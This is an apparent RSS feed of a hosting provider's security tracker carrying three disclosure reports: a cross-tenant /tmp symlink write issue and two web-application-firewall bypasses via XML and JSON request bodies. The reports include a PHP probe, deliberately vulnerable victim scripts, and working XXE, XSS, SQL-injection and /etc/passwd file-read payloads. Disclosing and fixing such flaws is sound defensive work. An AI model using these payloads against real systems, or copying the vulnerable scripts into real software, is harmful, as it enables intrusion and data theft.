<?xml version="1.0" ?>
<rdf:RDF xmlns:dc="http://purl.org/dc/elements/1.1/" 
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 
  xmlns="http://purl.org/rss/1.0/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel rdf:about="https://security.alwaysdata.com/">
    <title>alwaysdata </title>
    <link>https://security.alwaysdata.com/</link>
    <description>alwaysdata Security vulnerabilities: Recently opened tasks</description>
    <dc:date>2026-08-20T10:05:03Z</dc:date>
    <items>
      <rdf:Seq>
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/455" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/454" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/453" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/452" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/450" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/449" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/446" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/445" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/443" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/442" />
              </rdf:Seq>
    </items>
    		
  </channel>
    <item rdf:about="https://security.alwaysdata.com/task/455">
    <title>FS#455: Cross-Tenant Write Primitive via World-Writable Shared Scratch Directories</title>
    <link>https://security.alwaysdata.com/task/455</link>
    <dc:date>2026-08-19T09:42:00Z</dc:date>
    <dc:creator>Abdullah Al Midul</dc:creator>
     <description>

Target: alwaysdata shared web node `http22` (185.31.41.42)



Severity: Medium



Class: CWE-377 Insecure Temporary File / CWE-59 Improper Link Resolution (symlink race)



Status: Verified — re-verified live 2026-08-18, zero false positives



—



## Important Clarification Before Reading:



alwaysdata&amp;#039;s bug bounty policy explicitly acknowledges that `/tmp` is a shared directory. This report is not about the known read-side exposure of `/tmp` (already tracked internally as &amp;#160;FS#363&amp;#160;/389/393/417/418). This report documents a new and distinct primitive: a confirmed cross-tenant write capability via symlink planting in the shared scratch space — something that goes beyond the known read exposure and has not been previously reported or acknowledged.



—



## Summary:



On the shared web node `http22`, the scratch directories `/tmp`, `/var/tmp`, and `/dev/shm` are world-writable (mode `1777`) and shared across all tenants on the node. From any tenant&amp;#039;s PHP using only the standard library, it is possible to:



- create new files at predictable paths in the shared scratch space- pre-plant symlinks at predictable names that point to arbitrary files- write through a symlink to its target file



The sticky bit (`1` in `1777`) correctly prevents modification or deletion of files already owned by other tenants. The attack surface is therefore the classic CWE-377 symlink race: pre-plant a symlink at a predictable path that a victim tenant&amp;#039;s application will later attempt to create — causing the victim app to either fail, follow the attacker&amp;#039;s symlink and write sensitive content to an attacker-chosen target, or read attacker-controlled content.



This write primitive is the new finding. The read side was already known and reported upstream.



 —



## Reproduction Steps:



Upload the following self-contained PHP probe to any site on node `http22` and fetch it over HTTP. Uses only the PHP standard library — no extensions or special configuration required.



### Probe Code (PHP):



```php&amp;lt;?php$base = &amp;quot;/tmp/wafverify_&amp;quot; . getmypid(); 1. create a new file anywhere in /tmp@file_put_contents($base . &amp;quot;.txt&amp;quot;, &amp;quot;cross-tenant-write-proof-&amp;quot; . date(&amp;quot;c&amp;quot;)); 2. create a symlink@symlink($base . &amp;quot;.txt&amp;quot;, $base . &amp;quot;.lnk&amp;quot;); 3. write THROUGH the symlink (writes to the target file)@file_put_contents($base . &amp;quot;.lnk&amp;quot;, &amp;quot;overwritten-via-symlink&amp;quot;); 4. show directory modesprintf(&amp;quot;perms: /tmp=%o /var/tmp=%o /dev/shm=%o\n&amp;quot;,

     fileperms(&amp;quot;/tmp&amp;quot;), fileperms(&amp;quot;/var/tmp&amp;quot;), fileperms(&amp;quot;/dev/shm&amp;quot;));


?&amp;gt;```



### Exact Output (2026-08-18, tenant PHP on http22): ```create /tmp file: OK size=50create symlink: OK target=/tmp/wafverify_979432.txtwrite-through-symlink: OK bytes=23 real=overwritten-via-symlinkperms: /tmp=1777 /var/tmp=1777 /dev/shm=1777```



—



## Additional Confirmed Observations:



Sticky-bit protection intact. Attempting to unlink, rename, or write to another tenant&amp;#039;s existing `/tmp` files is correctly blocked — owner-only enforcement verified. The primitive is therefore pre-planting at not-yet-existing predictable names, not modifying existing victim files.



Read side (already known). Other tenants&amp;#039; files in `/tmp` are world-readable. During discovery, co-tenant files were observed that contained credentials and session data. Contents were not saved, not used, and have been fully redacted from all evidence. This is noted only to confirm the shared scratch exposure is bidirectional — read and write — not merely one-sided. The read class is already tracked upstream (&amp;#160;FS#363&amp;#160;/389/393/417/418).



PHP sessions not affected. `session.save_path` is already per-tenant (`/home/&amp;lt;acct&amp;gt;/admin/tmp`), so session files cannot be hijacked via this vector.



MySQL `FILE` privilege — negative. No `FILE` privilege granted; `secure_file_priv=/tmp/`; `LOAD_FILE()` returns empty. Cross-tenant database file read via this path is not possible.



`/proc` — negative. `hidepid` is set; only the tenant&amp;#039;s own processes are visible.



 —



## Impact:



A malicious tenant on the same node can pre-plant files or symlinks at predictable paths in the shared scratch space before a victim tenant&amp;#039;s application creates them. If a victim application writes sensitive content (credentials, tokens, session data, temporary uploads) to a predictable `/tmp` path, the attacker can redirect that write to an arbitrary target via a pre-planted symlink — or poison the path with attacker-controlled content before the victim reads it.



Classic targets for this class of attack: cron jobs, backup scripts, cache writers, upload handlers, and any application component that creates temporary files at predictable names on a node shared with untrusted tenants.



Combined with the already-known world-readable state of `/tmp`, a malicious co-tenant can both read shared scratch state and actively influence it — making the exposure bidirectional and significantly more serious than the read-only class previously acknowledged.



—



## Ethical Disclosure:



All testing was performed exclusively against files created under our own test account and our own naming prefix (`wafverify_*`). No other tenant&amp;#039;s existing file was written to, modified, unlinked, or renamed — sticky-bit protection was verified intact throughout. Co-tenant files encountered in `/tmp` during discovery were read only to confirm the shared nature of the directory; their contents (credentials, cookies, application data) were immediately discarded, not stored, not used in any way, and fully redacted from all evidence files submitted with this report.



—



## Recommendations:



- Mount `/tmp`, `/var/tmp`, and `/dev/shm` as per-tenant private tmpfs volumes, consistent with the per-tenant isolation already applied to `/home` and PHP session paths.- Alternatively, set `TMPDIR`, `TMP`, `TEMP`, and `upload_tmp_dir` per-tenant to a path within the tenant&amp;#039;s own `/home` tree, preventing any cross-tenant path collision.- For any platform service that must share a scratch directory, enforce `O_TMPFILE` / `mkstemp` with `fchmod 0600` at creation time and never follow pre-existing symlinks on temp paths.



—



## Relationship to Other Findings:



This finding chains with FINDING-5 (cross-tenant loopback service exposure on the same node `http22`). Together they confirm that the tenant isolation boundary on shared web nodes has multiple independent gaps — network-level (FINDING-5) and filesystem-level (this report) — compounding the overall risk to co-tenants on the same node.



—



## Evidence Files: 


	
		 File  Contents 
	
	
		——
	
	
		 `verify_all_output.txt`  Live re-verification output (write, symlink creation, write-through, directory permissions) 
	
	
		 `CHAIN.md FINDING-3`  Detailed write-up including all negative results 
	

</description>
    <content:encoded><![CDATA[
<p>
<strong>Target:</strong> <strong>alwaysdata shared web node `http22</strong>` (185.31.41.42)
</p>

<p>
<strong>Severity:</strong> <strong>Medium</strong>
</p>

<p>
<strong>Class:</strong> <strong>CWE-377 Insecure Temporary File / CWE-59 Improper Link Resolution (symlink race)</strong>
</p>

<p>
<strong>Status:</strong> Verified — re-verified live 2026-08-18, zero false positives
</p>

<p>
—
</p>

<p>
## <em class="u">Important Clarification Before Reading:</em>
</p>

<p>
alwaysdata&#039;s bug bounty policy explicitly acknowledges that `/tmp` is a shared directory. This report is <strong>not</strong> about the known read-side exposure of `/tmp` (already tracked internally as <del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del>/389/393/417/418). This report documents a <strong>new and distinct primitive</strong>: a confirmed <strong>cross-tenant write capability</strong> via symlink planting in the shared scratch space — something that goes beyond the known read exposure and has not been previously reported or acknowledged.
</p>

<p>
—
</p>

<p>
##<em class="u"> Summary:</em>
</p>

<p>
On the shared web node `http22`, the scratch directories `/tmp`, `/var/tmp`, and `/dev/shm` are world-writable (mode `1777`) and shared across all tenants on the node. From any tenant&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> using only the standard library, it is possible to:
</p>

<p>
- create new files at predictable paths in the shared scratch space<br />- pre-plant symlinks at predictable names that point to arbitrary files<br />- write through a symlink to its target file
</p>

<p>
The sticky bit (`1` in `1777`) correctly prevents modification or deletion of files already owned by other tenants. The attack surface is therefore the classic <strong>CWE-377 symlink race</strong>: pre-plant a symlink at a predictable path that a victim tenant&#039;s application will later attempt to create — causing the victim app to either fail, follow the attacker&#039;s symlink and write sensitive content to an attacker-chosen target, or read attacker-controlled content.
</p>

<p>
This write primitive is the new finding. The read side was already known and reported upstream.
</p>

<p>
 —
</p>

<p>
## <em class="u">Reproduction Steps:</em>
</p>

<p>
Upload the following self-contained <acronym title="Hypertext Preprocessor">PHP</acronym> probe to any site on node `http22` and fetch it over <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>. Uses only the <acronym title="Hypertext Preprocessor">PHP</acronym> standard library — no extensions or special configuration required.
</p>

<p>
### <em class="u">Probe Code (<acronym title="Hypertext Preprocessor">PHP</acronym>):</em>
</p>

<p>
```php<br />&lt;?php<br />$base = &quot;/tmp/wafverify_&quot; . getmypid();<br /><em> 1. create a new file anywhere in /tmp<br />@file_put_contents($base . &quot;.txt&quot;, &quot;cross-tenant-write-proof-&quot; . date(&quot;c&quot;));<br /></em> 2. create a symlink<br />@symlink($base . &quot;.txt&quot;, $base . &quot;.lnk&quot;);<br /><em> 3. write THROUGH the symlink (writes to the target file)<br />@file_put_contents($base . &quot;.lnk&quot;, &quot;overwritten-via-symlink&quot;);<br /></em> 4. show directory modes<br />printf(&quot;perms: /tmp=%o /var/tmp=%o /dev/shm=%o\n&quot;,
</p>
<pre class="code">     fileperms(&quot;/tmp&quot;), fileperms(&quot;/var/tmp&quot;), fileperms(&quot;/dev/shm&quot;));</pre>

<p>
?&gt;<br />```
</p>

<p>
### <em class="u">Exact Output (2026-08-18, tenant <acronym title="Hypertext Preprocessor">PHP</acronym> on http22):<br /></em> ```<br />create /tmp file: OK size=50<br />create symlink: OK target=/tmp/wafverify_979432.txt<br />write-through-symlink: OK bytes=23 real=overwritten-via-symlink<br />perms: /tmp=1777 /var/tmp=1777 /dev/shm=1777<br />```
</p>

<p>
—
</p>

<p>
## <em class="u">Additional Confirmed Observations:</em>
</p>

<p>
<strong>Sticky-bit protection intact.</strong> Attempting to unlink, rename, or write to another tenant&#039;s existing `/tmp` files is correctly blocked — owner-only enforcement verified. The primitive is therefore pre-planting at not-yet-existing predictable names, not modifying existing victim files.
</p>

<p>
<strong>Read side (already known).</strong> Other tenants&#039; files in `/tmp` are world-readable. During discovery, co-tenant files were observed that contained credentials and session data. Contents were not saved, not used, and have been fully redacted from all evidence. This is noted only to confirm the shared scratch exposure is bidirectional — read and write — not merely one-sided. The read class is already tracked upstream (<del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del>/389/393/417/418).
</p>

<p>
<strong><acronym title="Hypertext Preprocessor">PHP</acronym> sessions not affected.</strong> `session.save_path` is already per-tenant (`/home/&lt;acct&gt;/admin/tmp`), so session files cannot be hijacked via this vector.
</p>

<p>
<strong>MySQL `FILE` privilege — negative.</strong> No `FILE` privilege granted; `secure_file_priv=/tmp/`; `LOAD_FILE()` returns empty. Cross-tenant database file read via this path is not possible.
</p>

<p>
<strong>`/proc` — negative.</strong> `hidepid` is set; only the tenant&#039;s own processes are visible.
</p>

<p>
 —
</p>

<p>
## <em class="u">Impact:</em>
</p>

<p>
A malicious tenant on the same node can pre-plant files or symlinks at predictable paths in the shared scratch space before a victim tenant&#039;s application creates them. If a victim application writes sensitive content (credentials, tokens, session data, temporary uploads) to a predictable `/tmp` path, the attacker can redirect that write to an arbitrary target via a pre-planted symlink — or poison the path with attacker-controlled content before the victim reads it.
</p>

<p>
Classic targets for this class of attack: cron jobs, backup scripts, cache writers, upload handlers, and any application component that creates temporary files at predictable names on a node shared with untrusted tenants.
</p>

<p>
Combined with the already-known world-readable state of `/tmp`, a malicious co-tenant can both read shared scratch state and actively influence it — making the exposure bidirectional and significantly more serious than the read-only class previously acknowledged.
</p>

<p>
—
</p>

<p>
## <em class="u">Ethical Disclosure:</em>
</p>

<p>
All testing was performed exclusively against files created under our own test account and our own naming prefix (`wafverify_*`). No other tenant&#039;s existing file was written to, modified, unlinked, or renamed — sticky-bit protection was verified intact throughout. Co-tenant files encountered in `/tmp` during discovery were read only to confirm the shared nature of the directory; their contents (credentials, cookies, application data) were immediately discarded, not stored, not used in any way, and fully redacted from all evidence files submitted with this report.
</p>

<p>
—
</p>

<p>
## <em class="u">Recommendations:</em>
</p>

<p>
- Mount `/tmp`, `/var/tmp`, and `/dev/shm` as per-tenant private tmpfs volumes, consistent with the per-tenant isolation already applied to `/home` and <acronym title="Hypertext Preprocessor">PHP</acronym> session paths.<br />- Alternatively, set `TMPDIR`, `TMP`, `TEMP`, and `upload_tmp_dir` per-tenant to a path within the tenant&#039;s own `/home` tree, preventing any cross-tenant path collision.<br />- For any platform service that must share a scratch directory, enforce `O_TMPFILE` / `mkstemp` with `fchmod 0600` at creation time and never follow pre-existing symlinks on temp paths.
</p>

<p>
—
</p>

<p>
## <em class="u">Relationship to Other Findings:</em>
</p>

<p>
This finding chains with <strong>FINDING-5</strong> (cross-tenant loopback service exposure on the same node `http22`). Together they confirm that the tenant isolation boundary on shared web nodes has multiple independent gaps — network-level (FINDING-5) and filesystem-level (this report) — compounding the overall risk to co-tenants on the same node.
</p>

<p>
—
</p>

<p>
## <em class="u">Evidence Files:</em> 
</p>
<table class="inline">
	<tr>
		<td> File </td><td> Contents </td>
	</tr>
	<tr>
		<td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `verify_all_output.txt` </td><td> Live re-verification output (write, symlink creation, write-through, directory permissions) </td>
	</tr>
	<tr>
		<td> `CHAIN.md FINDING-3` </td><td> Detailed write-up including all negative results </td>
	</tr>
</table>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/454">
    <title>FS#454: Per-Site WAF Partial Bypass: application/xml Bodies Only Partially Inspected</title>
    <link>https://security.alwaysdata.com/task/454</link>
    <dc:date>2026-08-19T09:52:47Z</dc:date>
    <dc:creator>Abdullah Al Midul</dc:creator>
     <description>

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)



Severity: Medium



Class: CWE-693 Protection Mechanism Failure / incomplete WAF coverage



Status: Verified — re-verified live 2026-08-18, zero false positives



 —



## Summary:



Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic SQL injection literals — but fails to block XML-shaped attack payloads. XML External Entity (XXE) declarations and embedded `&amp;lt;script&amp;gt;` XSS content pass through with HTTP 200, while a plain SQLi string in the same content type is correctly blocked with HTTP 403. The inspection is inconsistent and leaves the most dangerous XML-specific attack class entirely undetected.



—



## Reproduction Steps:



Same setup as FINDING-1: PHP site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.



—



## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):



### 1) XXE Declaration — passes as `application/xml` (HTTP 200)



```POST /vuln.php HTTP/1.1Host: regtest846.alwaysdata.netContent-Type: application/xml



&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE r [&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot;&amp;gt;]&amp;gt;&amp;lt;q&amp;gt;&amp;amp;xxe;&amp;lt;/q&amp;gt;``````HTTP/1.1 200 OK

&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Search results for: &amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;


 ```



The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses XML, the entity would be resolved, leading to XXE file read or SSRF.



### 2) Embedded XSS `&amp;lt;script&amp;gt;` — passes as `application/xml` (HTTP 200)



```POST /vuln.php HTTP/1.1Host: regtest846.alwaysdata.netContent-Type: application/xml



&amp;lt;q&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/q&amp;gt;``````HTTP/1.1 200 OK

&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Search results for: &amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;


 ```



### 3) Literal SQLi — blocked as `application/xml` (control, HTTP 403)



```POST /vuln.php HTTP/1.1Host: regtest846.alwaysdata.netContent-Type: application/xml



&amp;lt;q&amp;gt;x&amp;#039; OR 1=1– -&amp;lt;/q&amp;gt;``````HTTP/1.1 403 ForbiddenRequest was blocked by WAF.   (Request ID: 60dbddb…)```



### 4) `text/xml`



The same `&amp;lt;script&amp;gt;` payload sent with `Content-Type: text/xml` also passes with HTTP 200.



—



## Impact:



The WAF&amp;#039;s XML inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses XML POST bodies — SOAP, RSS/Atom ingestion, config import, XML-RPC — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.



—



## Recommendations:



- Apply the same inspection rules to XML bodies that are applied to URL-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns.- The safer long-term fix is to enforce safe XML parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone.- Re-test the full matrix from FINDING-1 and this report after any change is applied.



—



## Evidence Files: 


	
		 File  Contents 
	
	
		——
	
	
		 `verify_f1_f2.py`  Re-verification script; live output shown in PoC blocks above 
	

</description>
    <content:encoded><![CDATA[
<p>
<strong>Target:</strong> <em class="u"><strong>alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)</strong></em>
</p>

<p>
<strong>Severity:</strong> <strong>Medium</strong>
</p>

<p>
<strong>Class:</strong> <strong>CWE-693 Protection Mechanism Failure / incomplete WAF coverage</strong>
</p>

<p>
<strong>Status:</strong> Verified — re-verified live 2026-08-18, zero false positives
</p>

<p>
 —
</p>

<p>
## <em class="u">Summary:</em>
</p>

<p>
Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic <acronym title="Structured Query Language">SQL</acronym> injection literals — but fails to block <acronym title="Extensible Markup Language">XML</acronym>-shaped attack payloads. <acronym title="Extensible Markup Language">XML</acronym> External Entity (XXE) declarations and embedded `&lt;script&gt;` XSS content pass through with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200, while a plain SQLi string in the same content type is correctly blocked with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403. The inspection is inconsistent and leaves the most dangerous <acronym title="Extensible Markup Language">XML</acronym>-specific attack class entirely undetected.
</p>

<p>
—
</p>

<p>
## <em class="u">Reproduction Steps:</em>
</p>

<p>
Same setup as FINDING-1: <acronym title="Hypertext Preprocessor">PHP</acronym> site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.
</p>

<p>
—
</p>

<p>
## <em class="u">PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):</em>
</p>

<p>
### 1) XXE Declaration — passes as `application/xml` (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/xml
</p>

<p>
&lt;?xml version=&quot;1.0&quot;?&gt;&lt;!DOCTYPE r [&lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&gt;]&gt;&lt;q&gt;&amp;xxe;&lt;/q&gt;<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />
</p>
<pre class="file">&lt;body&gt;&lt;h1&gt;Search results for: &lt;/h1&gt;&lt;/body&gt;</pre>

<p>
 ```
</p>

<p>
The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses <acronym title="Extensible Markup Language">XML</acronym>, the entity would be resolved, leading to XXE file read or SSRF.
</p>

<p>
### 2) Embedded XSS `&lt;script&gt;` — passes as `application/xml` (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/xml
</p>

<p>
&lt;q&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/q&gt;<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />
</p>
<pre class="file">&lt;body&gt;&lt;h1&gt;Search results for: &lt;/h1&gt;&lt;/body&gt;</pre>

<p>
 ```
</p>

<p>
### 3) Literal SQLi — blocked as `application/xml` (control, <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/xml
</p>

<p>
&lt;q&gt;x&#039; OR 1=1– -&lt;/q&gt;<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden<br />Request was blocked by WAF.   (Request ID: 60dbddb…)<br />```
</p>

<p>
### 4) `text/xml`
</p>

<p>
The same `&lt;script&gt;` payload sent with `Content-Type: text/xml` also passes with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200.
</p>

<p>
—
</p>

<p>
## <em class="u">Impact:</em>
</p>

<p>
The WAF&#039;s <acronym title="Extensible Markup Language">XML</acronym> inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses <acronym title="Extensible Markup Language">XML</acronym> POST bodies — <acronym title="Simple Object Access Protocol">SOAP</acronym>, <acronym title="Rich Site Summary">RSS</acronym>/Atom ingestion, config import, <acronym title="Extensible Markup Language">XML</acronym>-<acronym title="Remote Procedure Call">RPC</acronym> — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.
</p>

<p>
—
</p>

<p>
## <em class="u">Recommendations:</em>
</p>

<p>
- Apply the same inspection rules to <acronym title="Extensible Markup Language">XML</acronym> bodies that are applied to <acronym title="Uniform Resource Locator">URL</acronym>-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns.<br />- The safer long-term fix is to enforce safe <acronym title="Extensible Markup Language">XML</acronym> parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone.<br />- Re-test the full matrix from FINDING-1 and this report after any change is applied.
</p>

<p>
—
</p>

<p>
## <em class="u">Evidence Files:</em> 
</p>
<table class="inline">
	<tr>
		<td> File </td><td> Contents </td>
	</tr>
	<tr>
		<td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `verify_f1_f2.py` </td><td> Re-verification script; live output shown in PoC blocks above </td>
	</tr>
</table>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/453">
    <title>FS#453: Per-Site WAF Bypass: application/json POST Bodies Are Never Inspected</title>
    <link>https://security.alwaysdata.com/task/453</link>
    <dc:date>2026-08-19T09:52:34Z</dc:date>
    <dc:creator>Abdullah Al Midul</dc:creator>
     <description>

 Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)



Severity: High



Class: CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage



Status: Verified — re-verified live 2026-08-18, zero false positives



—



## Summary:



The alwaysdata per-site WAF decides whether to inspect an HTTP request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, SQL injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with HTTP 403.



This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.



—



## Affected Surface:



- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`).- Tested at `waf_profile = full` (strictest level) — bypass holds there.- Confirmed at both HTTP/1.1 and HTTP/2.- Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), OS command injection.- Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.



—



 ## Reproduction Steps:



1. Create any alwaysdata hosting account with a PHP site.2. Enable the WAF: `PATCH https://api.alwaysdata.com/v1/site/&amp;lt;id&amp;gt;/` with body `{&amp;quot;waf_profile&amp;quot;: &amp;quot;full&amp;quot;}` (Basic auth with account API token).3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV.4. Send the requests shown in the PoC section.



 ### Victim App — `vuln.php` (reflects parameter into HTML): ```php&amp;lt;?php$q = $_REQUEST[&amp;#039;q&amp;#039;];header(&amp;quot;Content-Type: text/html&amp;quot;);echo &amp;quot;

&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Search results for: $q&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;


&amp;quot;;?&amp;gt;```



 ### Victim App — `read.php` (reads arbitrary file):



```php&amp;lt;?php$f = $_REQUEST[&amp;#039;file&amp;#039;];header(&amp;quot;Content-Type: text/plain&amp;quot;);echo @file_get_contents($f);?&amp;gt;```



 —



 ## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):



### 1) Reflected XSS — passes as `application/json` (HTTP 200, script reflected unencoded)



```POST /vuln.php HTTP/1.1Host: regtest846.alwaysdata.netContent-Type: application/json



{&amp;quot;q&amp;quot;:&amp;quot;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;quot;}``````HTTP/1.1 200 OK

&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Search results for: &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;


 ```



### 1b) Same payload — blocked as urlencoded (control, HTTP 403)



```POST /vuln.php HTTP/1.1Host: regtest846.alwaysdata.netContent-Type: application/x-www-form-urlencoded



q=%3Cscript%3Ealert(1)%3C%2Fscript%3E``````HTTP/1.1 403 ForbiddenRequest was blocked by WAF.   (Request ID: b699a16…)```



### 2) SQL Injection — passes as `application/json` (HTTP 200)



```POST /vuln.php HTTP/1.1Host: regtest846.alwaysdata.netContent-Type: application/json



{&amp;quot;q&amp;quot;:&amp;quot;x&amp;#039; OR 1=1– -&amp;quot;}``````HTTP/1.1 200 OK

&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Search results for: x&amp;#039; OR 1=1-- -&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;


 ```



Control urlencoded: HTTP 403.



### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (HTTP 200, full `/etc/passwd` returned)



```POST /read.php HTTP/1.1Host: regtest846.alwaysdata.netContent-Type: application/json



{&amp;quot;file&amp;quot;:&amp;quot;/etc/passwd&amp;quot;}``````HTTP/1.1 200 OKroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin… ```



1764 bytes returned. Control urlencoded: HTTP 403.



### 4) Mechanism Proof — decision is header-only, not body content



Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.



### 5) HTTP/2



Same JSON-body requests over HTTP/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.



### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)



- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public API.- `sqli.php` implements an unsafe `WHERE username=&amp;#039;$q&amp;#039;` blind boolean oracle.- A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass.- This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.



—



## Impact:



Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the &amp;quot;full&amp;quot; protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application&amp;#039;s own defenses, but the WAF no longer adds any protection for JSON-bodied requests.



—



## Re-Test Matrix (Already Verified) 


	
		 Content-Type  XSS  SQLi  LFI  Result 
	
	
		—————
	
	
		 `application/json`  200 pass  200 pass  200 pass  BYPASS 
	
	
		 `application/x-www-form-urlencoded`  403  403  403  Blocked 
	
	
		 `application/xml`  200 pass  403  n/a  Partial (see FINDING-2) 
	
	
